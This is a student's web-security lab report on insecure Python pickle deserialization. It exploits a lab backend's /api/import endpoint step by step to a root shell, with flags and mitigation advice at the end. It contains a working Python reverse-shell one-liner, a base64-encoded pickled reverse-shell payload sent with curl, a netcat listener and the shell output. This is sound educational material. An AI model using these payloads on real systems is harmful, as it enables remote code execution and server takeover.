jamk.fi

Web application security

Week 09

Timo Lehosvuo, M3426
TTV18S1

Harjoitustyö
Web application security, Heikki Salo, Joni Ahonen
19.4.2021
Tekniikan ala

1. Reading report

- What are the benefits of serialization?

You can save data structure or object state into format that can be stored into memory or transmitted and then reconstructed when needed

- Consider vulnerabilities serialization/deserialization might enable

File uploads, RCE, data theft

- How serialization differs between programming languages? Offer some examples.

Videos discuss mainly on differences on libraries so not sure about the question? Binary/test require almost never control of the type but JSON, XML, .NET do

2. Issue report

2.1 Pickle

Simple example of pickle serialization and deserialization:

```
t = bytes("testi", "utf-8")
e = base64.b64encode(t)
print(e)
dumps = pickle.dumps(t)
encode = base64.b64encode(dumps)
print(dumps)
print(encode)
loads = pickle.loads(pickle.dumps(t))
print(loads)
```

```
b'dGVzdGk='
b'\x80\x03C\x05testiq\x00.'
b'gANDBXRlc3RpcQAu'
b'testi'
>>>
```

Pickle is insecure because the unpickler can't tell the difference between a malicious callable or a legit one. The malicious pickler will use python callables as constructors for the object and this way a hacker can craft picklers with malicious effect. You should never unpickle data that you don't trust.

```
class testi():
    def __reduce__(self):
        a = ("echo hello world")
        return os.system, (a)

p = pickle.dumps(testi)
base64 = base64.b64encode(p)

print(base64)
```

```
============== RESTART: C:\Users\Timo\Desktop\python_pickle.py
b'gANjX19tYWluX18KdGVzdGkKcQAu'
```

Figure 1: Base64 encoded byte stream from Python object initialized from class that implements reduce method

2.2 Insecure deserialization on victim's backend (/api/import) allows hacker to spawn a reverse shell

Description: Hacker can spawn a reverse shell on the victim's machine by sending a base64 encoded malicious payload that's been pickled.

Steps to produce:

- First test what methods the endpoint allows by sending curl with "-X OPTIONS" parameter:

```
C:\Users\Timo>curl -X OPTIONS -i 192.168.43.2:8080/api/import
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Sun, 18 Apr 2021 09:35:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Allow: POST, OPTIONS
Access-Control-Allow-Origin: http://0.0.0.0:4000
Vary: Origin
Access-Control-Allow-Origin: *


C:\Users\Timo>
```

- Perform HTTP request with supported method and a base64 encoded payload:

```
C:\Users\Timo>curl -X POST -i -d dGVzdGk= 192.168.43.2:8080/api/import
HTTP/1.1 204 NO CONTENT
Server: nginx/1.19.6
Date: Mon, 19 Apr 2021 15:51:20 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Flag_1: WasFlag9_1{ISeeBase64EncodedData_PleaseContinue}
Hint: Be sure that you serialize the data (Pickle)
Access-Control-Allow-Origin: http://0.0.0.0:4000
Vary: Origin
Access-Control-Allow-Origin: *


C:\Users\Timo>
```

- Send a payload that's base64 encoded and can be unpickled:

```
C:\Users\Timo>curl -X POST -i -d gANDBXRlc3RpcQAu 192.168.43.2:8080/api/import
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Mon, 19 Apr 2021 15:51:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Flag_1: WasFlag9_1{ISeeBase64EncodedData_PleaseContinue}
Flag_2: WasFlag9_2{DeserializationSucceeded_NowPerformRCE}
Access-Control-Allow-Origin: http://0.0.0.0:4000
Vary: Origin
Access-Control-Allow-Origin: *
```

- Start listening to a port with netcat
- Craft a reverse shell and test that the commands or code used in the reverse shell work on the machine:

```
root@b57db56d49cb:/opt/wasdat/backend# python -c 'import socket,subprocess,os;s=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.103",123
45));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import p
ty; pty.spawn("/bin/bash")'
```

```
root@kali:~# nc -nvlp 12345
listening on [any] 12345 ...
connect to [192.168.43.103] from (UNKNOWN) [192.168.43.2] 50000
root@b57db56d49cb:/opt/wasdat/backend#
```

- Pickle, encode and send your reverse shell with curl:

```
C:\Users\Timo>curl -X POST -i -d gANjcG9zaXgKc3lzdGVtCnEAWOQAAABweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvcz
vY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjQzLjEwMyIsMTIzNDUpKTtvcy5kdXA
yKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2J
hc2giKSdxAYVxAlJxAy4= 192.168.43.2:8080/api/import
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.19.6
Date: Sun, 18 Apr 2021 11:40:18 GMT
Content-Type: text/html
Content-Length: 167
Connection: keep-alive
```

```
root@kali:~# nc -nvlp 12345
listening on [any] 12345 ...
connect to [192.168.43.103] from (UNKNOWN) [192.168.43.2] 49988
root@b57db56d49cb:/opt/wasdat/backend# ls
ls
Dockerfile    Procfile     autoapp.py  lib              run.sh
LICENSE       README.rst   conduit     migrations       setup.cfg
Pipfile       Vagrantfile  dev.db      requirements     tests
Pipfile.lock  __pycache__  image.png   requirements.txt
root@b57db56d49cb:/opt/wasdat/backend# ps aux
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   5696  3316 ?        Ss   09:52   0:00 /bin/bash -c ./
root        15  0.0  2.3 128012 47716 ?        S    09:52   0:00 /usr/local/bin/
root        17  1.6  2.6 355028 54404 ?        Sl   09:52   1:43 /usr/local/bin/
root        36  0.0  0.1   5752  3628 pts/0    Ss+  10:18   0:00 /bin/bash
root       126  0.0  0.0   2388   764 ?        S    11:38   0:00 sh -c python -c
root       127  0.0  0.4  12064  8968 ?        S    11:38   0:00 python -c impor
root       129  0.0  0.0   2388   752 ?        S    11:38   0:00 sh -c python -c
root       130  0.0  0.4  12064  8900 ?        S    11:38   0:00 python -c impor
root       132  0.0  0.0   2388   692 ?        S    11:39   0:00 sh -c python -c
root       133  0.1  0.4  12668 10200 ?        S    11:39   0:00 python -c impor
root       134  0.0  0.1   5620  3488 pts/1    Ss   11:39   0:00 /bin/bash
root       136  0.0  0.1   9392  3044 pts/1    R+   11:39   0:00 ps aux
root@b57db56d49cb:/opt/wasdat/backend# whoami
whoami
root
```

Mitigation:

- Don’t use pickle between unknown parties
- exchange pickle over encrypted network this prevents alteration or replay of data on the wire
- Sign the pickle using cryptographic signature
- when the pickled data is stored review file system permissions and ensure protected access to the data
- Never use user-controlled data to define the deserializer expected type
- avoid libraries without strict type control